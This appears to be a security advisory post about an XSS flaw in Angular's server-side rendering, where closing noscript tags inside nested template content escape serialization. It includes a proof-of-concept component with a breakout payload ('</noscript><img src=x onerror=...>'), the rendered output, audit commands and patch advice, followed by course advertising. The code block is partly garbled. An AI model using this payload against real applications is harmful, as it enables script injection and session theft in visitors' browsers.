Listen to this Post
An XSS vulnerability exists in @angular/platform-server during server-side rendering (SSR) HTML serialization when traversing ancestor tags across template element boundaries. When an application renders untrusted user input within raw-text tags such as xmp, style, or script, comments, or text nodes inside a template that is nested within a fallback raw-content element like noscript, iframe, noembed, or noframes, matching closing tags such as closing noscript are not escaped during HTML serialization. When rendered in a browser, this unescaped closing tag prematurely terminates the fallback container and executes trailing markup as active DOM elements.
In HTML5 parsing, fallback raw-content elements including noscript, iframe, noembed, and noframes place the browser’s tokenizer into RAWTEXT mode. In this mode, inner content is parsed as literal text until an end tag matching the container tag name is encountered.
To prevent XSS breakout vectors during SSR serialization, the DOM serializer inspects a node’s ancestors to escape any matching fallback closing tags. However, per DOM specifications, the children of a template element reside in a separate DocumentFragment called template.content, whose own parentNode is null. The serializer’s ancestor traversal previously only inspected element nodes. When traversing upward from a node inside template.content, traversal terminated immediately at the DocumentFragment boundary. Because traversal stopped before reaching the outer document tree, enclosing fallback raw-content ancestors such as noscript or iframe were not discovered. As a result, closing sequences like closing noscript within template content were emitted unescaped.
This vulnerability bypasses Angular’s framework guarantee that standard text interpolation bound as element text content is safe by default without manual sanitization. Writing literal xmp or style directly inside a component’s template markup requires relaxed template schema checks such as CUSTOM_ELEMENTS_SCHEMA or NO_ERRORS_SCHEMA. However, standard HTML comments and text nodes inside template within noscript are reachable without relaxed schemas. Components or directives that construct DOM structures imperatively via Renderer2 bypass template compiler schema checks entirely and are unconditionally affected.
DailyCVE Form:
Platform: Angular SSR
Version: prior 22.1.4
Vulnerability : XSS template
Severity: High
date: 2026-09-10
Prediction: 2026-10-15
What Undercode Say:
Analytics:
npm list @angular/platform-server
npm audit --audit-level=high
grep -r "noscript" node_modules/@angular/platform-server/
const template = <code><noscript>
<template>
<xmp>{{ payload }}</xmp>
</template>
</noscript>
`;
curl -s https://target.com | grep -o '<noscript>.</noscript>'
Exploit: (Educational Purposes!)
import { Component } from '@angular/core';
@Component({
selector: 'app-root',
standalone: true,
template: `
<noscript>
<template>
<xmp>{{ payload }}</xmp>
</template>
</noscript></code>
})
export class AppComponent {
payload = '</noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")>';
}
<noscript><template><xmp></noscript><img src=x onerror=alert("SSR_TEMPLATE_XSS")></xmp></template></noscript>
Protection: from this CVE
npm install @angular/[email protected]
npm install @angular/[email protected]
npm install @angular/[email protected]
// Avoid rendering untrusted input inside template elements nested within fallback containers // Do not use: noscript, iframe, noembed, noframes with template content
// Avoid programmatic DOM assembly of template elements inside fallback containers // when handling untrusted data via Renderer2
Impact:
Framework guarantee bypass during SSR HTML serialization when untrusted input is interpolated inside template content within fallback containers. Same-origin XSS attacks against any user visiting an SSR-rendered page. Arbitrary JavaScript execution in victim browsers. Session hijacking and credential theft. DOM manipulation and defacement. Malicious redirects and phishing. Full compromise of application security boundaries established by Angular’s default sanitization guarantees.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
